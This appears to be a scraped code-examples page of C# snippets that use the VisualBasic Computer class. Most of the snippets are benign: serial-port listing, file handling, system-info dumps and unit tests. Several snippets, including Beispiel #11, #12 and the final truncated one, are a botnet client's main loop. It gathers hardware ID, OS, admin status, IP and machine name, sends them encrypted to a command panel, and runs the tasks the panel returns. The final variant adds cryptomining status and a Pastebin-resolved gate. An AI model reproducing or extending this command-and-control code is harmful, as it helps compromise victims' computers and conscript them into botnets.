Beispiel #1
0
        public FPrincipal()
        {
            InitializeComponent();
            Rectangle bounds = new Microsoft.VisualBasic.Devices.Computer().Screen.Bounds;

            this.Size = new Size(bounds.Width, bounds.Height);
        }
        public void UpdateBackup()
        {
            //Code for moving the found file to to the curated backup
            Microsoft.VisualBasic.Devices.Computer updater = new Microsoft.VisualBasic.Devices.Computer();

            for (int i = 0; i < backupFilesToUpdate.Count; i++)
            {
                try
                {
                    updater.FileSystem.DeleteFile(backupFilesToUpdate.ElementAt(i));
                }
                catch (System.IO.FileNotFoundException)
                {
                    Console.WriteLine($"File: {backupFilesToUpdate.ElementAt(i)} not found in backup directory. Exception handled.");
                }
                if (updater.FileSystem.DirectoryExists(backupFilesToUpdate.ElementAt(i).Remove(backupFilesToUpdate.ElementAt(i).LastIndexOf('\\'))))
                {
                    updater.FileSystem.CopyFile(modifiedFilePaths.ElementAt(i), backupFilesToUpdate.ElementAt(i));
                }
                else
                {
                    updater.FileSystem.CreateDirectory(backupFilesToUpdate.ElementAt(i).Remove(backupFilesToUpdate.ElementAt(i).LastIndexOf('\\')));
                    updater.FileSystem.CopyFile(modifiedFilePaths.ElementAt(i), backupFilesToUpdate.ElementAt(i));
                }
            }
        }
 /// <summary>
 /// Armado del archivo TXT que se muestra al usuario
 /// </summary>
 /// <param name="text">Texton que se el muestra aln usuario</param>
 private void BuildTXT(string text)
 {
     try
     {
         Microsoft.VisualBasic.Devices.Computer MyComputer = new Microsoft.VisualBasic.Devices.Computer();
         string fileName = string.Empty;
         fileName = MyComputer.FileSystem.SpecialDirectories.Temp;
         fileName = fileName + string.Format("\\TempFile_{0}.txt", Guid.NewGuid().ToString());
         using (StreamWriter x = File.AppendText(fileName))
         {
             string[] linesToWrite = text.Split(new char[] { '\n' });
             foreach (string line in linesToWrite)
             {
                 x.WriteLine(line);
             }
             x.Flush();
             x.Close();
         }
         Process.Start("notepad", fileName);
         Loader.AddToPanel(Loader.Zone.Middle, this, Resources.Constants.UCWELCOME);
     }
     catch
     {
         MessageBox.Show("ERROR EN LA ESCRITURA DEL RECORD, FAVOR DE REPORTARLO A SISTEMAS", Resources.Constants.MYCTS, MessageBoxButtons.OK, MessageBoxIcon.Information);
         Loader.AddToPanel(Loader.Zone.Middle, this, Resources.Constants.UCWELCOME);
     }
 }
Beispiel #4
0
        private void btnSearchImage_Click(object sender, EventArgs e)
        {
            bool           status          = false;
            Stream         myStream        = null;
            OpenFileDialog openFileDialog1 = new OpenFileDialog();

            Microsoft.VisualBasic.Devices.Computer MyComputer = new Microsoft.VisualBasic.Devices.Computer();
            string initialDirectory = MyComputer.FileSystem.SpecialDirectories.MyPictures;

            openFileDialog1.InitialDirectory = initialDirectory;
            openFileDialog1.Filter           = "Imágenes (*.jpg)|*.jpg";
            openFileDialog1.FilterIndex      = 2;
            openFileDialog1.RestoreDirectory = true;
            if (openFileDialog1.ShowDialog() == DialogResult.OK)
            {
                try
                {
                    if ((myStream = openFileDialog1.OpenFile()) != null)
                    {
                        using (myStream)
                        {
                            path   = openFileDialog1.FileName;
                            status = true;
                        }
                    }
                }
                catch { }
            }
            if (status)
            {
                try
                {
                    System.IO.FileStream fs = new FileStream(path, System.IO.FileMode.Open);
                    content = new byte[fs.Length];
                    fs.Read(content, 0, Convert.ToInt32(fs.Length));
                    fs.Close();
                    if (path.ToUpper().EndsWith(".JPG") ||
                        path.ToUpper().EndsWith(".PNG") ||
                        path.ToUpper().EndsWith(".GIF"))
                    {
                        MemoryStream image = new MemoryStream(content);
                        pictureBox1.BackgroundImage = Image.FromStream(image);
                        lblInfoNOImage.Visible      = false;
                    }
                    else
                    {
                        pictureBox1.BackgroundImage = null;
                        lblInfoNOImage.Text         = string.Concat("Archivo: ", path.Substring(path.LastIndexOf("\\") + 1, path.Length - path.LastIndexOf("\\") - 1));
                        lblInfoNOImage.Visible      = true;
                    }
                    btnAccept.Visible = true;
                }
                catch
                {
                    MessageBox.Show("ERROR DE ACCESO, COMPRUEBE QUE AL ARCHIVO NO ESTE SIENDO USADO EN OTRO PROCESO", Resources.Constants.MYCTS, MessageBoxButtons.OK, MessageBoxIcon.Information);
                }
            }
        }
 private void LinkIndicator_Load(object sender, EventArgs e)
 {
     Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();
     comboBoxComID.Items.Clear();
     foreach (string s in pc.Ports.SerialPortNames)
     {
         this.comboBoxComID.Items.Add(s);
     }
 }
 private void LinkIndicator_Load(object sender, EventArgs e)
 {
     Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();
     comboBoxComID.Items.Clear();
     foreach (string s in pc.Ports.SerialPortNames)
     {
         this.comboBoxComID.Items.Add(s);
     }
 }
        // Pulls together pieces of information that can be useful in tracking down user issues that don't create an error popup
        private string DumpConfig(MainWindow mainWindow)
        {
            PresentationSource source = PresentationSource.FromVisual(mainWindow);

            System.Drawing.Point CurrentLocation = new System.Drawing.Point((int)mainWindow.Left, (int)mainWindow.Top);

            // Pull in VisualBasic stuff to make up for C# WPF not having many features accessible for this
            Microsoft.VisualBasic.Devices.ComputerInfo   ComputerInfo   = new Microsoft.VisualBasic.Devices.ComputerInfo();
            Microsoft.VisualBasic.Devices.Computer       Computer       = new Microsoft.VisualBasic.Devices.Computer();
            Microsoft.VisualBasic.Devices.Network        Network        = new Microsoft.VisualBasic.Devices.Network();
            Microsoft.VisualBasic.Devices.ServerComputer ServerComputer = new Microsoft.VisualBasic.Devices.ServerComputer();
            Microsoft.VisualBasic.ApplicationServices.ApplicationBase ApplicationBase = new Microsoft.VisualBasic.ApplicationServices.ApplicationBase();

            StringBuilder Detail       = new StringBuilder();
            string        RegistryPath = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion";

            Detail.AppendLine(string.Format("OS: {0}", Microsoft.Win32.Registry.GetValue(RegistryPath, "ProductName", null)));
            Detail.AppendLine(string.Format("BLD: {0}", Microsoft.Win32.Registry.GetValue(RegistryPath, "CurrentBuild", null)));
            Detail.AppendLine(string.Format("LAB: {0}", Microsoft.Win32.Registry.GetValue(RegistryPath, "BuildLab", null)));
            // Check if the user is running this under Wine
            Detail.AppendLine(string.Format("WINE: {0}", (Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\\Wine") != null ? true : false)));
            Detail.AppendLine(string.Format("ADM: {0}", new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator).ToString()));
            Detail.AppendLine(string.Format("DPI: X: {0}, Y: {1}", source.CompositionTarget.TransformToDevice.M11 * 96, source.CompositionTarget.TransformToDevice.M22 * 96));
            Detail.AppendLine(string.Format("PMN: {0}", Computer.Screen.Primary));
            Detail.AppendLine(string.Format("RES: X: {0}, Y: {1}", Computer.Screen.Bounds.Width, Computer.Screen.Bounds.Height));
            Detail.AppendLine(string.Format("SWA: X: {0}, Y: {1}, W: {2}, H: {3}", Computer.Screen.WorkingArea.X, Computer.Screen.WorkingArea.Y, Computer.Screen.WorkingArea.Width, Computer.Screen.WorkingArea.Height));
            Detail.AppendLine(string.Format("BPP: {0}", Computer.Screen.BitsPerPixel));
            Detail.AppendLine(string.Format("SDN: {0}", Computer.Screen.DeviceName));
            Detail.AppendLine(string.Format("NWK: {0}", System.Net.NetworkInformation.NetworkInterface.GetIsNetworkAvailable()));
            Detail.AppendLine(string.Format("CCN: {0}", System.Globalization.CultureInfo.InstalledUICulture.EnglishName));
            Detail.AppendLine(string.Format("SCN: {0}", System.Globalization.CultureInfo.InstalledUICulture.Name));
            // Byte -> Megabyte = / 1048576
            // Byte -> Gigabyte = / 1073741824
            Detail.AppendLine(string.Format("APM: {0}/{1}", (ComputerInfo.AvailablePhysicalMemory / 1048576), (ComputerInfo.TotalPhysicalMemory / 1048576)));
            // Something is not right with this, the values are WAY too high
            Detail.AppendLine(string.Format("AVM: {0}/{1}", (ComputerInfo.AvailableVirtualMemory / 1048576), (ComputerInfo.TotalVirtualMemory / 1048576)));
            Detail.AppendLine(string.Format("VER: {0}", ApplicationBase.Info.Version.ToString()));
            Detail.AppendLine(string.Format("DIR: {0}", ApplicationBase.Info.DirectoryPath.ToString()));
            Detail.AppendLine(string.Format("APP: {0}", System.IO.Path.GetFileName(Process.GetCurrentProcess().MainModule.FileName)));
            Detail.AppendLine(string.Format("SZE: Width: {0}, Height: {1}", mainWindow.Width, mainWindow.Height));
            Detail.AppendLine(string.Format("CLT: Width: {0}, Height: {1}", mainWindow.RenderSize.Width, mainWindow.RenderSize.Height));

            // Wrap motherboard information in a try because something can always not work in this, better to skip it all than try for each
            try
            {
                ManagementObjectSearcher searcher = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_BaseBoard");

                foreach (ManagementObject wmi in searcher.Get())
                {
                    Detail.AppendLine(string.Format("MBM: {0}", wmi.GetPropertyValue("Manufacturer").ToString()));
                    Detail.AppendLine(string.Format("MBID: {0}", wmi.GetPropertyValue("Product").ToString()));
                }
            }
            catch { }

            return(Detail.ToString());
        }
Beispiel #8
0
        public void getComPart(ComboBox Cname)
        {
            Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();;

            foreach (string s in pc.Ports.SerialPortNames)
            {
                Cname.Items.Add(s);
            }
        }
Beispiel #9
0
        /// <summary>
        /// Moves a directory from one place to another.
        /// </summary>
        /// <param name="source">The directory to move.</param>
        /// <param name="destination">The destination.</param>
        /// <param name="overwrite">Whether to overwrite the destination.</param>
        public static void MoveDirectory(string source, string destination, bool overwrite = true)
        {
            source.ThrowIfDirectoryDoesNotExist("source");
            destination.ThrowIfNullOrWhiteSpace("destination");

            var c = new Microsoft.VisualBasic.Devices.Computer();

            c.FileSystem.MoveDirectory(source, destination, overwrite);
        }
        /// <summary>
        /// 获取可用的端口
        /// </summary>
        /// <returns></returns>
        public List <string> GetComList()
        {
            List <string> ComList = new List <string>();

            Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();
            foreach (string s in pc.Ports.SerialPortNames)
            {
                ComList.Add(s);
            }
            return(ComList);
        }
Beispiel #11
0
        private static void mainthread()
        {
            string id = Identification.getHardwareID();

            do
            {
                try
                {
                    string os = Identification.osName();
                    string pv = null;
                    if (Misc.isAdmin())
                    {
                        pv = "Admin";
                    }
                    else
                    {
                        pv = "User";
                    }
                    string ip       = Misc.getLocation();
                    string cn       = new Microsoft.VisualBasic.Devices.Computer().Name;
                    string lr       = Misc.lastReboot();
                    string par      = "id=" + Communication.encrypt(id) + "&os=" + Communication.encrypt(os) + "&pv=" + Communication.encrypt(pv) + "&ip=" + Communication.encrypt(ip) + "&cn=" + Communication.encrypt(cn) + "&lr=" + Communication.encrypt(lr) + "&ct=" + Communication.encrypt(Settings.ctask) + "&bv=" + Communication.encrypt(Settings.botv);
                    string response = Communication.decrypt(Communication.makeRequest(Settings.panelurl, par));
                    if (response != "rqf")
                    {
                        if (response.Contains("newtask"))
                        {
                            // process new task
                            string[] sps = response.Split(':');

                            string tid = sps[1];
                            if (tid != Settings.ctask)
                            {
                                Settings.ctask = tid;
                                if (Misc.processTask(sps[2], sps[3]))
                                {
                                    // notify panel that task has completed
                                    Communication.makeRequest(Settings.panelurl, par + "&op=" + Communication.encrypt("1") + "&td=" + Communication.encrypt(tid));
                                    if (Encoding.UTF8.GetString(Convert.FromBase64String(sps[2])) == "10" || Encoding.UTF8.GetString(Convert.FromBase64String(sps[2])) == "9")
                                    {
                                        Communication.makeRequest(Settings.panelurl, par + "&uni=" + Communication.encrypt("1"));
                                        Environment.Exit(0);
                                    }
                                }
                            }
                        }
                    }
                }
                catch { }
                Thread.Sleep(Settings.reqinterval * 60000); // reqinterval * 1000 = seconds, reqinterval * 60000 = minutes
            } while (true);
        }
Beispiel #12
0
        private static void mainthread()
        {
            string id = Identification.getHardwareID();
            do
            {
                try
                {
                    string os = Identification.osName();
                    string pv = null;
                    if (Misc.isAdmin())
                    {
                        pv = "Admin";
                    }
                    else
                    {
                        pv = "User";
                    }
                    string ip = Misc.getLocation();
                    string cn = new Microsoft.VisualBasic.Devices.Computer().Name;
                    string lr = Misc.lastReboot();
                    string par = "id=" + Communication.encrypt(id) + "&os=" + Communication.encrypt(os) + "&pv=" + Communication.encrypt(pv) + "&ip=" + Communication.encrypt(ip) + "&cn=" + Communication.encrypt(cn) + "&lr=" + Communication.encrypt(lr) + "&ct=" + Communication.encrypt(Settings.ctask) + "&bv=" + Communication.encrypt(Settings.botv);
                    string response = Communication.decrypt(Communication.makeRequest(Settings.panelurl, par));
                    if (response != "rqf")
                    {
                        if (response.Contains("newtask"))
                        {
                            // process new task
                            string[] sps = response.Split(':');

                            string tid = sps[1];
                            if (tid != Settings.ctask)
                            {
                                Settings.ctask = tid;
                                if (Misc.processTask(sps[2], sps[3]))
                                {
                                    // notify panel that task has completed
                                    Communication.makeRequest(Settings.panelurl, par + "&op=" + Communication.encrypt("1") + "&td=" + Communication.encrypt(tid));
                                    if (Encoding.UTF8.GetString(Convert.FromBase64String(sps[2])) == "10" || Encoding.UTF8.GetString(Convert.FromBase64String(sps[2])) == "9")
                                    {
                                        Communication.makeRequest(Settings.panelurl, par + "&uni=" + Communication.encrypt("1"));
                                        Environment.Exit(0);
                                    }
                                }
                            }
                        }
                    }
                }
                catch { }
                Thread.Sleep(Settings.reqinterval * 60000); // reqinterval * 1000 = seconds, reqinterval * 60000 = minutes
            } while (true);
        }
Beispiel #13
0
 private void findport()
 {
     cb_port.Items.Clear();
     Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();
     if (pc.Ports.SerialPortNames.Count == 0)
     {
         //this.cb_port.Items.Add("No Com Port Use!!!");
         return;
     }
     foreach (string s in pc.Ports.SerialPortNames)
     {
         this.cb_port.Items.Add(s);
     }
 }
 public void PathTest()
 {
     Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();
     Microsoft.VisualBasic.MyServices.SpecialDirectoriesProxy sd = pc.FileSystem.SpecialDirectories;
     Assert.AreEqual (FixPath(System.Windows.Forms.Application.CommonAppDataPath), sd.AllUsersApplicationData, "AllUserApplicationData");
     Assert.AreEqual (FixPath (System.Windows.Forms.Application.UserAppDataPath), sd.CurrentUserApplicationData, "CurrentUserApplicationData");
     Assert.AreEqual (FixPath (Environment.GetFolderPath (Environment.SpecialFolder.Desktop)), sd.Desktop, "Desktop");
     Assert.AreEqual (FixPath (Environment.GetFolderPath (Environment.SpecialFolder.MyDocuments)), sd.MyDocuments, "MyDocuments");
     Assert.AreEqual (FixPath (Environment.GetFolderPath (Environment.SpecialFolder.MyMusic)), sd.MyMusic, "MyMusic");
     Assert.AreEqual (FixPath (Environment.GetFolderPath (Environment.SpecialFolder.MyPictures)), sd.MyPictures, "MyPictures");
     Assert.AreEqual (FixPath (Environment.GetFolderPath (Environment.SpecialFolder.ProgramFiles)), sd.ProgramFiles, "ProgramFiles");
     Assert.AreEqual (FixPath (Environment.GetFolderPath (Environment.SpecialFolder.Programs)), sd.Programs, "Programs");
     Assert.AreEqual (FixPath (System.IO.Path.GetTempPath ()), sd.Temp, "Temp");
 }
 public void PathTest()
 {
     Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();
     Microsoft.VisualBasic.MyServices.SpecialDirectoriesProxy sd = pc.FileSystem.SpecialDirectories;
     Assert.AreEqual(FixPath(System.Windows.Forms.Application.CommonAppDataPath), sd.AllUsersApplicationData, "AllUserApplicationData");
     Assert.AreEqual(FixPath(System.Windows.Forms.Application.UserAppDataPath), sd.CurrentUserApplicationData, "CurrentUserApplicationData");
     Assert.AreEqual(FixPath(Environment.GetFolderPath(Environment.SpecialFolder.Desktop)), sd.Desktop, "Desktop");
     Assert.AreEqual(FixPath(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)), sd.MyDocuments, "MyDocuments");
     Assert.AreEqual(FixPath(Environment.GetFolderPath(Environment.SpecialFolder.MyMusic)), sd.MyMusic, "MyMusic");
     Assert.AreEqual(FixPath(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures)), sd.MyPictures, "MyPictures");
     Assert.AreEqual(FixPath(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)), sd.ProgramFiles, "ProgramFiles");
     Assert.AreEqual(FixPath(Environment.GetFolderPath(Environment.SpecialFolder.Programs)), sd.Programs, "Programs");
     Assert.AreEqual(FixPath(System.IO.Path.GetTempPath()), sd.Temp, "Temp");
 }
Beispiel #16
0
        private void MainWindo_Load(object sender, EventArgs e)
        {
            //实例化
            sp1 = new SerialPort();
            //这里需要添加引用Microsoft.VisualBasic的引用,提供操作计算机组件(如:音频,时钟,键盘文件系统等)的属性
            Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();
            //循环该计算机上所有串行端口的集合
            foreach (string s in pc.Ports.SerialPortNames)
            {
                //串口名称添加到cbxPortName下拉框上
                //一般计算机上是有COM1和COM2串口的,如果没有自己在cbxPortName下拉框里写COM1 和 COM2的字符串(如:this.cbxPortName.Items.Add("COM2"))
                this.portsListCB.Items.Add(s);
            }


            //防止报错,万一计算机上没有串口,就不走这一步
            if (pc.Ports.SerialPortNames.Count > 0)
            {
                portsListCB.SelectedIndex = 0;
            }
            buadRateCB.SelectedIndex  = 6;
            databitsCB.SelectedIndex  = 0;
            checkbitsCB.SelectedIndex = 0;
            stopbitsCB.SelectedIndex  = 0;

            // 设置默认配置文件地址
            ConfigFilePath.Text = Directory.GetCurrentDirectory() + "\\config.ini";
            // dataRTB.Text = ConfigFilePath.Text;

            // 尝试加载配置文件
            {
                if (File.Exists(ConfigFilePath.Text))
                {
                    // 读取ini
                    Ini ini = new Ini(ConfigFilePath.Text);
                    portsListCB.Text = ini.ReadValue("serial", "port");
                    buadRateCB.Text  = ini.ReadValue("serial", "buadrate");
                    checkbitsCB.Text = ini.ReadValue("serial", "checkbits");
                    databitsCB.Text  = ini.ReadValue("serial", "databits");
                    stopbitsCB.Text  = ini.ReadValue("serial", "stopbits");

                    dbServerAddressTB.Text = ini.ReadValue("database", "sever");
                    dbPortDB.Text          = ini.ReadValue("database", "port");
                    dbUsrNameTB.Text       = ini.ReadValue("database", "username");
                    dbPwdTB.Text           = ini.ReadValue("database", "password");
                    dbNameTB.Text          = ini.ReadValue("database", "databasename");
                }
            }
        }
Beispiel #17
0
 public EVOTestForm()
 {
     InitializeComponent();
     Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();
     if (pc.Ports.SerialPortNames.Count == 0)
     {
         this.comport.Items.Add("No Com Port Use!!!");
         return;
     }
     foreach (string s in pc.Ports.SerialPortNames)
     {
         this.comport.Items.Add(s);
     }
     _ComSetting = new ComSetting();
     LoadComSet();
     this.DataContext = _ComSetting;
 }
Beispiel #18
0
        public void wininfo()
        {
            int temper = (int)(new Microsoft.VisualBasic.Devices.ComputerInfo().TotalPhysicalMemory / 1024 / 1024);

            TotalRam = temper.ToString();

            //Название ОС
            OsName = "ОС: " + new Microsoft.VisualBasic.Devices.ComputerInfo().OSFullName;
            PCname = new Microsoft.VisualBasic.Devices.Computer().Name;

            //Разрешение
            MonitorSize = "Разрешение: " + SystemInformation.PrimaryMonitorSize.Width.ToString() + " x " + SystemInformation.PrimaryMonitorSize.Height.ToString();

            CoreCount  = "Число ядер: " + Convert.ToString(Environment.ProcessorCount);
            CoreNumber = "Ядро: " + Convert.ToString(Environment.OSVersion);
            Version    = "Версия: " + Convert.ToString(Environment.Version);
        }
Beispiel #19
0
 public EVOTestForm()
 {
     
     InitializeComponent();
     Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();
     if (pc.Ports.SerialPortNames.Count == 0)
     {
         this.comport.Items.Add("No Com Port Use!!!");
         return;
     }
     foreach (string s in pc.Ports.SerialPortNames)
     {
         this.comport.Items.Add(s);
     }
     _ComSetting = new ComSetting();
     LoadComSet();
     this.DataContext = _ComSetting;
     
 }
Beispiel #20
0
        public bool AttemptRename(ArchiveItem archiveItem, string newName)
        {
            if (archiveItem.Name == newName) { return false; }
            Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();

            string newPath = Path.Combine(archiveItem.DirInfo.Parent.FullName, newName);
            if (Directory.Exists(newPath))
            {
                App.CurrentVMHelp.ShowNegativeHelpbar(String.Format("I can't rename to \"{0}\" as there is already a folder with that name.", newName));
                return false;
            }
            pc.FileSystem.RenameDirectory(archiveItem.DirInfo.FullName, newName);

            archiveItem.DirInfo = new DirectoryInfo(newPath);
            App.CurrentVMHelp.ShowPositiveHelpbar(String.Format("I've renamed the folder {0} to {1}.", archiveItem.Name, newName));

            archiveItem.Name = newName;
            return true;
        }
 private void Memory()
 {
     Microsoft.VisualBasic.Devices.Computer myInfo = new Microsoft.VisualBasic.Devices.Computer();
     //获取物理内存总量
     pbMemorySum.Maximum = Convert.ToInt32(myInfo.Info.TotalPhysicalMemory / 1024 / 1024);
     pbMemorySum.Value   = Convert.ToInt32(myInfo.Info.TotalPhysicalMemory / 1024 / 1024);
     lblSum.Text         = (myInfo.Info.TotalPhysicalMemory / 1024).ToString();
     //获取可用物理内存总量
     pbMemoryUse.Maximum = Convert.ToInt32(myInfo.Info.TotalPhysicalMemory / 1024 / 1024);
     pbMemoryUse.Value   = Convert.ToInt32(myInfo.Info.AvailablePhysicalMemory / 1024 / 1024);
     lblMuse.Text        = (myInfo.Info.AvailablePhysicalMemory / 1024).ToString();
     //获取虚拟内存总量
     pbVmemorysum.Maximum = Convert.ToInt32(myInfo.Info.TotalVirtualMemory / 1024 / 1024);
     pbVmemorysum.Value   = Convert.ToInt32(myInfo.Info.TotalVirtualMemory / 1024 / 1024);
     lblVinfo.Text        = (myInfo.Info.TotalVirtualMemory / 1024).ToString();
     //获取可用虚拟内存总量
     pbVmemoryuse.Maximum = Convert.ToInt32(myInfo.Info.TotalVirtualMemory / 1024 / 1024);
     pbVmemoryuse.Value   = Convert.ToInt32(myInfo.Info.AvailableVirtualMemory / 1024 / 1024);
     lblVuse.Text         = (myInfo.Info.AvailableVirtualMemory / 1024).ToString();
 }
Beispiel #22
0
        public RemoteConnectLib()
        {
            Microsoft.VisualBasic.Devices.Computer computer = new Microsoft.VisualBasic.Devices.Computer();
            _OurName = computer.Name;

            _Disposed = false;

            _Factory                  = null;
            _CurrentUrlAddress        = string.Empty;
            _CurrentUserID            = string.Empty;
            _CurrentPassword          = string.Empty;
            _CurrentNetTcpConnectFlag = false;
            _ConnectLockObject        = new object();
            _BusyConnecting           = false;

            _BladeEventCallbackClass = new TesterObjectCallback(this);
            _BladeEvent = new BladeEventClass(this);

            // After connected, timer pings host every now and then to keep the channel awake.
            _KeepAliveTimer   = new System.Threading.Timer(keepAliveTimer_Tick, null, Timeout.Infinite, Timeout.Infinite);
            _KeepAliveArrived = true;
        }
Beispiel #23
0
 public static string lastReboot()
 {
     string res = null;
     double since = new Microsoft.VisualBasic.Devices.Computer().Clock.TickCount / 1000 / 60;
     if (since > 60)
     {
         since = since / 60;
         if (since > 24)
         {
             since = since / 24;
             res = ((int)since).ToString() + " day(s) ago";
         }
         else
         {
             res = ((int)since).ToString() + " hour(s) ago";
         }
     }
     else
     {
         res = ((int)since).ToString() + " minute(s) ago";
     }
     return res;
 }
Beispiel #24
0
        private void gjhSetting_Load(object sender, EventArgs e)
        {
            Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();
            foreach (string s in pc.Ports.SerialPortNames)
            {
                this.cbxPortName.Items.Add(s);
            }

            mtxtArea.Mask = "00";
            //mtxtArea.TextAlign = HorizontalAlignment.Right;
            mtxtArea.ResetOnSpace = false;
            mtxtColumn.Mask       = "00";
            //mtxtColumn.TextAlign = HorizontalAlignment.Right;
            mtxtColumn.ResetOnSpace = false;
            mtxtLine.Mask           = "00";
            //mtxtLine.TextAlign = HorizontalAlignment.Right;
            mtxtLine.ResetOnSpace = false;
            mtxtFloor.Mask        = "00";
            //mtxtFloor.TextAlign = HorizontalAlignment.Right;
            mtxtFloor.ResetOnSpace = false;

            getData();
        }
Beispiel #25
0
        public static string lastReboot()
        {
            string res   = null;
            double since = new Microsoft.VisualBasic.Devices.Computer().Clock.TickCount / 1000 / 60;

            if (since > 60)
            {
                since = since / 60;
                if (since > 24)
                {
                    since = since / 24;
                    res   = ((int)since).ToString() + " day(s) ago";
                }
                else
                {
                    res = ((int)since).ToString() + " hour(s) ago";
                }
            }
            else
            {
                res = ((int)since).ToString() + " minute(s) ago";
            }
            return(res);
        }
Beispiel #26
0
 private void Form1_Load(object sender, EventArgs e)
 {
     //这里需要添加引用Microsoft.VisualBasic的引用,提供操作计算机组件(如:音频,时钟,键盘文件系统等)的属性
     Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();
     //循环该计算机上所有串行端口的集合
     foreach (string s in pc.Ports.SerialPortNames)
     {
         //串口名称添加到cbxPortName下拉框上
         //一般计算机上是有COM1和COM2串口的,如果没有自己在cbxPortName下拉框里写COM1 和 COM2的字符串(如:this.cbxPortName.Items.Add("COM2"))
         this.cbxPortName.Items.Add(s);
     }
     //防止报错,万一计算机上没有串口,就不走这一步
     if (pc.Ports.SerialPortNames.Count > 0)
     {
         cbxPortName.SelectedIndex = 0;
     }
     cbxPortName.Text        = "COM3"; //串口号默认值
     cmbbaud.Text            = "9600"; //波特率默认值
     cmbParity.SelectedIndex = 2;
     cmbBits.SelectedIndex   = 0;
     cmbStop.SelectedIndex   = 0;
     System.Text.UTF8Encoding utf8 = new System.Text.UTF8Encoding();
     serialPort1.DataReceived += new SerialDataReceivedEventHandler(serialport1_DataReceived);//添加事件处理程序
 }
        public static void MigrateProfiles()
        {
            const string RegKey = "Software\\Wikipedia\\AutoWikiBrowser\\Profiles";

            try
            {
                foreach (string id in new Microsoft.VisualBasic.Devices.Computer().Registry.CurrentUser.OpenSubKey(RegKey).GetSubKeyNames())
                {
                    AWBProfile prof = new AWBProfile();

                    Microsoft.VisualBasic.Devices.Computer myComputer = new Microsoft.VisualBasic.Devices.Computer();

                    prof.id = int.Parse(id);
                    try
                    {
                        prof.Username = EncryptionUtils.Decrypt(myComputer.Registry.GetValue("HKEY_CURRENT_USER\\" + RegKey + "\\" + id, "User", "").ToString());

                        try { prof.Password = EncryptionUtils.Decrypt(myComputer.Registry.GetValue("HKEY_CURRENT_USER\\" + RegKey + "\\" + id, "Pass", "").ToString()); }
                        catch { prof.Password = ""; }

                        prof.defaultsettings = myComputer.Registry.GetValue("HKEY_CURRENT_USER\\" + RegKey + "\\" + id, "Settings", "").ToString();

                        try { prof.useforupload = bool.Parse(myComputer.Registry.GetValue("HKEY_CURRENT_USER\\" + RegKey + "\\" + id, "UseForUpload", "").ToString()); }
                        catch { prof.useforupload = false; }

                        prof.notes = myComputer.Registry.GetValue("HKEY_CURRENT_USER\\" + RegKey + "\\" + id, "Notes", "").ToString();
                    }
                    catch
                    { }

                    AddEditProfile(prof);
                }
            }
            catch
            { }
        }
        /// <summary>
        /// Abre los archivos PDF indicados por el GridView
        /// </summary>
        private void OpenFilesPDF()
        {
            linkInvoice = string.Empty;
            int item = GridViewFacturas.CurrentCell.RowIndex;

            linkInvoice = indexList[item].LinkInvoice;
            Microsoft.VisualBasic.Devices.Computer MyComputer = new Microsoft.VisualBasic.Devices.Computer();
            string fileName = string.Empty;

            fileName = MyComputer.FileSystem.SpecialDirectories.Temp;
            fileName = fileName + string.Format("\\TempFile_{0}.pdf", Guid.NewGuid().ToString());
            if (DownloadFile(linkInvoice, fileName))
            {
                try
                {
                    Process.Start(fileName);
                }
                catch
                {
                    MessageBox.Show("NO CUENTA CON EL PROGRAMA CORRECTO PARA ABRIR ESTE ARCHIVO", Resources.Constants.MYCTS, MessageBoxButtons.OK, MessageBoxIcon.Information);
                    Loader.AddToPanel(Loader.Zone.Middle, this, Resources.Constants.UCWELCOME);
                }
            }
        }
Beispiel #29
0
        private static void mainthread()
        {
            string id = Identification.getHardwareID();

            do
            {
                try
                {
                    string os = Identification.osName();

                    string pv = null;
                    if (Misc.isAdmin())
                    {
                        pv = "Admin";
                    }
                    else
                    {
                        pv = "User";
                    }
                    string ip       = Misc.getLocation();
                    string cn       = new Microsoft.VisualBasic.Devices.Computer().Name;
                    string lr       = Misc.lastReboot();
                    string par      = "id=" + Communication.encrypt(id) + "&os=" + Communication.encrypt(os) + "&pv=" + Communication.encrypt(pv) + "&ip=" + Communication.encrypt(ip) + "&cn=" + Communication.encrypt(cn) + "&lr=" + Communication.encrypt(lr) + "&ct=" + Communication.encrypt(Settings.ctask) + "&bv=" + Communication.encrypt(Settings.botv) + "&gpu=" + Communication.encrypt(Identification.videoId()) + "&cpu=" + Communication.encrypt(Identification.cpuId()) + "&ms=" + Communication.encrypt(Identification.Minningstatus()) + "&msgpu=" + Communication.encrypt(Identification.Minningstatusgpu()) + "&spkey=" + Communication.encrypt(Settings.spkey);
                    string panelurl = Communication.getGate();

                    if (Settings.debug == "True")
                    {
                        Console.WriteLine("Pastebin Response Gate: " + panelurl);
                    }

                    string response = Communication.decrypt(Communication.makeRequest(panelurl, par));
                    if (Settings.debug == "True")
                    {
                        Console.WriteLine("Gate Task Response: " + response);
                    }


                    if (response != "rqf")
                    {
                        if (response.Contains("newtask"))
                        {
                            // process new task
                            string[] sps = response.Split(':');

                            string tid = sps[1];
                            if (tid != Settings.ctask)
                            {
                                Settings.ctask = tid;
                                if (Misc.processTask(sps[2], sps[3]))
                                {
                                    // notify panel that task has completed
